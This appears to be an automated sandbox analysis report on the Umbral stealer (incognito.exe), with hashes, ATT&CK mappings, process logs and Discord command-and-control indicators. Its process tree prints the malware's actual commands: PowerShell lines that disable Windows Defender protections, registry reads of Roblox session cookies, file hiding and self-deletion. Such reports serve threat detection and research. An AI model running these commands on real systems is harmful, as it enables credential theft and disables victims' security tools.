umbral | e4310f76275772aa2a6d4aa393a18a07e1ddb91ef6f2018cba717ba3478af322

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
31-05-2024 17:16

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General

Target

incognito.exe
Size

229KB
MD5

a2e2e39f0f37c2bad057abd0d26da126
SHA1

644b65d488765656986b5f3607dac359e9955b27
SHA256

e4310f76275772aa2a6d4aa393a18a07e1ddb91ef6f2018cba717ba3478af322
SHA512

7be3fc42afae83211517c67cf9e1e87e463c5bffac89daac65f5b56353a29ab4a3a7573b6fa53c07357721ea980ce177c379dffe82967ba80ce8d0d298133e66
SSDEEP

6144:9loZM+rIkd8g+EtXHkv/iD46oX8syVtGDTOMdRYYhb8e1mjEi:foZtL+EP86oX8syVtGDTOMdRY4K

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2460-1-0x0000000000020000-0x0000000000060000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2652	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	incognito.exe

Deletes itself 1 IoCs

pid	Process
2972	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2060	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2208	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2460	incognito.exe
2652	powershell.exe
2756	powershell.exe
2708	powershell.exe
2896	powershell.exe
844	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	incognito.exe
Token: SeIncreaseQuotaPrivilege	2644	wmic.exe
Token: SeSecurityPrivilege	2644	wmic.exe
Token: SeTakeOwnershipPrivilege	2644	wmic.exe
Token: SeLoadDriverPrivilege	2644	wmic.exe
Token: SeSystemProfilePrivilege	2644	wmic.exe
Token: SeSystemtimePrivilege	2644	wmic.exe
Token: SeProfSingleProcessPrivilege	2644	wmic.exe
Token: SeIncBasePriorityPrivilege	2644	wmic.exe
Token: SeCreatePagefilePrivilege	2644	wmic.exe
Token: SeBackupPrivilege	2644	wmic.exe
Token: SeRestorePrivilege	2644	wmic.exe
Token: SeShutdownPrivilege	2644	wmic.exe
Token: SeDebugPrivilege	2644	wmic.exe
Token: SeSystemEnvironmentPrivilege	2644	wmic.exe
Token: SeRemoteShutdownPrivilege	2644	wmic.exe
Token: SeUndockPrivilege	2644	wmic.exe
Token: SeManageVolumePrivilege	2644	wmic.exe
Token: 33	2644	wmic.exe
Token: 34	2644	wmic.exe
Token: 35	2644	wmic.exe
Token: SeIncreaseQuotaPrivilege	2644	wmic.exe
Token: SeSecurityPrivilege	2644	wmic.exe
Token: SeTakeOwnershipPrivilege	2644	wmic.exe
Token: SeLoadDriverPrivilege	2644	wmic.exe
Token: SeSystemProfilePrivilege	2644	wmic.exe
Token: SeSystemtimePrivilege	2644	wmic.exe
Token: SeProfSingleProcessPrivilege	2644	wmic.exe
Token: SeIncBasePriorityPrivilege	2644	wmic.exe
Token: SeCreatePagefilePrivilege	2644	wmic.exe
Token: SeBackupPrivilege	2644	wmic.exe
Token: SeRestorePrivilege	2644	wmic.exe
Token: SeShutdownPrivilege	2644	wmic.exe
Token: SeDebugPrivilege	2644	wmic.exe
Token: SeSystemEnvironmentPrivilege	2644	wmic.exe
Token: SeRemoteShutdownPrivilege	2644	wmic.exe
Token: SeUndockPrivilege	2644	wmic.exe
Token: SeManageVolumePrivilege	2644	wmic.exe
Token: 33	2644	wmic.exe
Token: 34	2644	wmic.exe
Token: 35	2644	wmic.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeIncreaseQuotaPrivilege	768	wmic.exe
Token: SeSecurityPrivilege	768	wmic.exe
Token: SeTakeOwnershipPrivilege	768	wmic.exe
Token: SeLoadDriverPrivilege	768	wmic.exe
Token: SeSystemProfilePrivilege	768	wmic.exe
Token: SeSystemtimePrivilege	768	wmic.exe
Token: SeProfSingleProcessPrivilege	768	wmic.exe
Token: SeIncBasePriorityPrivilege	768	wmic.exe
Token: SeCreatePagefilePrivilege	768	wmic.exe
Token: SeBackupPrivilege	768	wmic.exe
Token: SeRestorePrivilege	768	wmic.exe
Token: SeShutdownPrivilege	768	wmic.exe
Token: SeDebugPrivilege	768	wmic.exe
Token: SeSystemEnvironmentPrivilege	768	wmic.exe
Token: SeRemoteShutdownPrivilege	768	wmic.exe
Token: SeUndockPrivilege	768	wmic.exe
Token: SeManageVolumePrivilege	768	wmic.exe
Token: 33	768	wmic.exe
Token: 34	768	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2460 wrote to memory of 2644	2460	incognito.exe	28
PID 2460 wrote to memory of 2644	2460	incognito.exe	28
PID 2460 wrote to memory of 2644	2460	incognito.exe	28
PID 2460 wrote to memory of 2640	2460	incognito.exe	31
PID 2460 wrote to memory of 2640	2460	incognito.exe	31
PID 2460 wrote to memory of 2640	2460	incognito.exe	31
PID 2460 wrote to memory of 2652	2460	incognito.exe	33
PID 2460 wrote to memory of 2652	2460	incognito.exe	33
PID 2460 wrote to memory of 2652	2460	incognito.exe	33
PID 2460 wrote to memory of 2756	2460	incognito.exe	35
PID 2460 wrote to memory of 2756	2460	incognito.exe	35
PID 2460 wrote to memory of 2756	2460	incognito.exe	35
PID 2460 wrote to memory of 2708	2460	incognito.exe	37
PID 2460 wrote to memory of 2708	2460	incognito.exe	37
PID 2460 wrote to memory of 2708	2460	incognito.exe	37
PID 2460 wrote to memory of 2896	2460	incognito.exe	39
PID 2460 wrote to memory of 2896	2460	incognito.exe	39
PID 2460 wrote to memory of 2896	2460	incognito.exe	39
PID 2460 wrote to memory of 768	2460	incognito.exe	41
PID 2460 wrote to memory of 768	2460	incognito.exe	41
PID 2460 wrote to memory of 768	2460	incognito.exe	41
PID 2460 wrote to memory of 1224	2460	incognito.exe	43
PID 2460 wrote to memory of 1224	2460	incognito.exe	43
PID 2460 wrote to memory of 1224	2460	incognito.exe	43
PID 2460 wrote to memory of 2420	2460	incognito.exe	45
PID 2460 wrote to memory of 2420	2460	incognito.exe	45
PID 2460 wrote to memory of 2420	2460	incognito.exe	45
PID 2460 wrote to memory of 844	2460	incognito.exe	47
PID 2460 wrote to memory of 844	2460	incognito.exe	47
PID 2460 wrote to memory of 844	2460	incognito.exe	47
PID 2460 wrote to memory of 2060	2460	incognito.exe	49
PID 2460 wrote to memory of 2060	2460	incognito.exe	49
PID 2460 wrote to memory of 2060	2460	incognito.exe	49
PID 2460 wrote to memory of 2972	2460	incognito.exe	51
PID 2460 wrote to memory of 2972	2460	incognito.exe	51
PID 2460 wrote to memory of 2972	2460	incognito.exe	51
PID 2972 wrote to memory of 2208	2972	cmd.exe	53
PID 2972 wrote to memory of 2208	2972	cmd.exe	53
PID 2972 wrote to memory of 2208	2972	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2640	attrib.exe

C:\Users\Admin\AppData\Local\Temp\incognito.exe
"C:\Users\Admin\AppData\Local\Temp\incognito.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2460
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\incognito.exe"
  2⤵
  - Views/modifies file attributes
  PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\incognito.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2896
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:768
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1224
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:844
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2060
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\incognito.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
fb14f7fe3e2caa511a0a41fabefa3eda

SHA1
0cde6ed390af462ec9e9a66848e892499c20877f

SHA256
f96da5ea2bf224cb3e7e45289bdbd29edf329b00f24fbae8bdc0806e46af419a

SHA512
37119e8b33c09fa7cabaa13923e8e88da9360829d915e2856b218932728162caf0240fb9e2e61a36edce182fb71fc207a00346794aef18de28126d0f5ebc1ab3

Download Submit
memory/844-44-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Filesize
32KB

Download
memory/2460-0-0x000007FEF53C3000-0x000007FEF53C4000-memory.dmp

Filesize
4KB

Download
memory/2460-1-0x0000000000020000-0x0000000000060000-memory.dmp

Filesize
256KB

Download
memory/2460-2-0x000007FEF53C0000-0x000007FEF5DAC000-memory.dmp

Filesize
9.9MB

Download
memory/2460-48-0x000007FEF53C0000-0x000007FEF5DAC000-memory.dmp

Filesize
9.9MB

Download
memory/2652-7-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2652-8-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2756-14-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2756-15-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download